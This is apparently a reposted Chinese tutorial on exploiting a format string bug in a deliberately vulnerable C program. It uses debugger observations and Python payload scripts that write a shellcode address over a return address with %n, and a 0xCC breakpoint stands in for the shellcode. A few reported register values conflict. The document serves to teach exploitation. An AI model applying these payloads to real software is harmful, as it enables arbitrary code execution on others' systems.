1. 程式人生 > >格式化字串漏洞執行任意程式碼分析

格式化字串漏洞執行任意程式碼分析

首先使用vc++6.0編譯一個程式FormatStr.exe,原始碼:
程式碼:
_#include <stdio.h>
#include <string.h>

int main (int argc, char *argv[])
{
    char buff[1024];  // 設定棧空間

        strncpy(buff,argv[1],sizeof(buff)-1);
        printf(buff); //觸發漏洞

        return 0;
}
這裡以引數test-%x-%x-%x-%n為例
核心彙編程式碼MOV DWORD PTR DS:[EAX],ECX,其中暫存器EAX,ECX都可以被使用者控制,ECX指前邊字元的個數,可以通過除錯確定(具體有棧上的資料決定,是零的就排除),EAX指引數“test-%x-%x-%x-%n”的首地址,並且通過新增%x可以使EAX往後移四個地址,可以將任意資料寫入任意地址,這樣就可以將shellcode的首地址寫入函式的返回地址,這樣等函式返回時shellcode就可以執行了


%1000x 1000是個十進位制數字,表示輸出字串的長度,可以通過這個控制字串的長度

首先列印棧上的資料:輸入“test-%x-%x-%x-%x-%x-%x”  輸出:test-12ff04-380e4a-7f-34333231-2d78252d-252d7825 (即棧上的相關資訊)

test-%x-%x-%x-%n 除錯中斷時 EAX=34333231 
test-%x-%x-%x-%x-%n 除錯中斷時 EAX=2d78252d
test-%x-%x-%x-%x-%x-%n 除錯中斷時 EAX=252d7825

設定immunity debugger為預設偵錯程式

首先觀察ECX值的變化,當輸入test-%x-%x-%n時,ECX=0x13,即字串“test-12ff04-380e4a-”的長度19,當輸入test-%x-%x-%x-%n時,ECX=0x16,即字串“test-12ff04-380e4a-7f-”的長度22,當輸入test-%x-%x-%x-%x-%n時,ECX=0x1F,即字串“test-12ff04-380e4a-7f-34333231-”的長度31,所以ECX即前邊字串的長度,但是這個長度是根據棧中具體數值來確定的,所以只能通過除錯來確定。


觀察EAX的值,當輸入test-%x-%x-%n時,EAX=0x7f,即棧中的數值0x7f,當輸入test-%x-%x-%x-%n時,EAX=0x74726574,即棧中的0x74726574,當輸入test-%x-%x-%x-%x-%n時,EAX=0x2d78252d,即棧中的0x2d78252d,當輸入test-%x-%x-%x-%x-%x-%n時,EAX=0x252d7825,即棧中的0x252d7825,可以發現這樣的規律,隨著%x的增多,EAX的值是棧中以四位元組為單位往高地址增長的棧中的資料。

通過以上的介紹,可以看到可以將ECX設定為shellcode的首地址,將EAX設定為函式返回地址所在的棧地址,這樣當函式返回時,就會執行shellcode中的程式碼


首先查詢shellcode的首地址,在命令列下執行:FormatStr.exe "test-%x-%x-%x-%n",程式異常自動附加到immunity debugger,


直接在棧中搜索就可以了,可以看到shellcode的起始地址是0x0012FF04,

然後查詢函式返回地址所在的棧地址,組合鍵alt+k切換到棧回溯視窗,可以看到最近的函式返回地址所在的棧地址是:0x0012FED0:

經過上邊介紹只要使EAX=0x0012FED0,ECX=0x0012FF04就可以使我們的shellcode得到執行的機會。
以引數“testAAAABBBB-%x-%x-%x-%n”為示例
首先使ECX=0x0012FF04,0x0012FF04=1244932,[1244932-(4+4+4+4)]/3=414972,
將引數修改為“testAAAABBBB-%414972x-%414972x-%414972x-%n”,輸出ECX如下:

,正好得到ECX=0x0012FF04

下邊使EAX=0x0012FED0,但是由於EAX中含有0x00,作為字串的結束字元後邊的字元會被截斷掉,解決的辦法就是增加%x的個數,使EAX往棧的高地址方向移動,直到移動到字串的末尾,這樣0x00就不會影響我們後續的操作了
當引數是“testAAAABBBB-%414972x-%414972x-%414972x-%n”時,EAX=0x74735674,即test的十六進位制值,我們依次增加0x的個數,為了便於操作,我們可以用python書寫一個簡單指令碼:
from subprocess import call
a="testAAAABBBBCC-"
b="%x"*3
c="%414972x-%414972x-%414972x-%nABCDE"
buf=a+b+c
call(["FormatStr.exe",buf])

可以看到EAX已經移位到字串“CC-%”,我們繼續增加%x的個數,直到移位到%n之後:
python指令碼:
from subprocess import call
a="testAAAABBBBCC-"
b="%x"*23
c="%414972x-%414972x-%414972x-%nABCDE"
buf=a+b+c
call(["FormatStr.exe",buf])
此時EAX=0x00454443 即字串“CDE”的十六進位制


由於此時增加很多%x打亂了ECX的值,我們再調整一下:
from subprocess import call
a="testAAAABBBBCC-"
b="%x"*23
c="%414914x-%414913x-%414913x-%nABCDE"
buf=a+b+c
call(["FormatStr.exe",buf])
此時EAX=0x00454443,ECX=0x0012FF04:

此時只要將CDE替換為返回地址的所在的棧地址,將test-AAAABBBB....等替換為shellcode,為了演示,直接替換為0xCC(中斷)吧:
from subprocess import call
a="\xCC\xCC\xCC\xCCAAAABBBBCC-"
b="%x"*23
c="%414914x-%414913x-%414913x-%nAB\xD0\xFE\x12"            
buf=a+b+c
call(["FormatStr.exe",buf])



shellcode成功得到執行。